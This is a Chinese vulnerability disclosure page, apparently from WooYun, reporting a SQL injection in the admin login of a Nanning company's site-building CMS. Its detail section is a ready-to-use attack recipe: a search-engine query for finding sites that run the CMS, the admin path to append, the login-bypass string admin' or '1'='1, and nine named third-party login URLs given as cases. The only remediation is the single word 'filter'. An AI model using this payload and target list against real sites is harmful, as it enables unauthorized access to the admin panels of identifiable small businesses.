漏洞概要 关注数(24) 关注此漏洞
>
漏洞详情
披露状态：
2015-04-28： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-06-12： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
注入
详细说明：
南宁典意数码科技有限公司，简称典意设计
http://www.dianyisheji.com/
沿着历史的足迹
WooYun: 南宁某著名网络公司自主开发模板建站cms，通杀无数本土企业客户网站
我就来了
注入点位于网站后台登陆用户名处
案例具体寻找办法
可以通过谷歌搜索
powered by DianYiPS
找到案例后在域名后面加/dianyi/即是管理后台
可以用万能密码admin' or '1'='1登陆
部分案例
http://www.gxcjcy.com/dianyi/index.php?action=login
其他部分案例
http://gxdawang.com/dianyi/index.php?action=login
http://www.fpg1919.com/dianyi/index.php?action=login
http://gxpcjz.com/dianyi/index.php?action=login
http://gxmingjia.com/dianyi/index.php?action=admin&op=login
http://ss-hearing.com/dianyi/index.php?action=admin&op=login
http://www.gxruiyi.com/dianyi/index.php?action=admin&op=login
http://gxymzs.com/dianyi/index.php?action=admin&op=login
漏洞证明：
如上
修复方案：
过滤
版权声明：转载请注明来源 路人甲@乌云
>
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝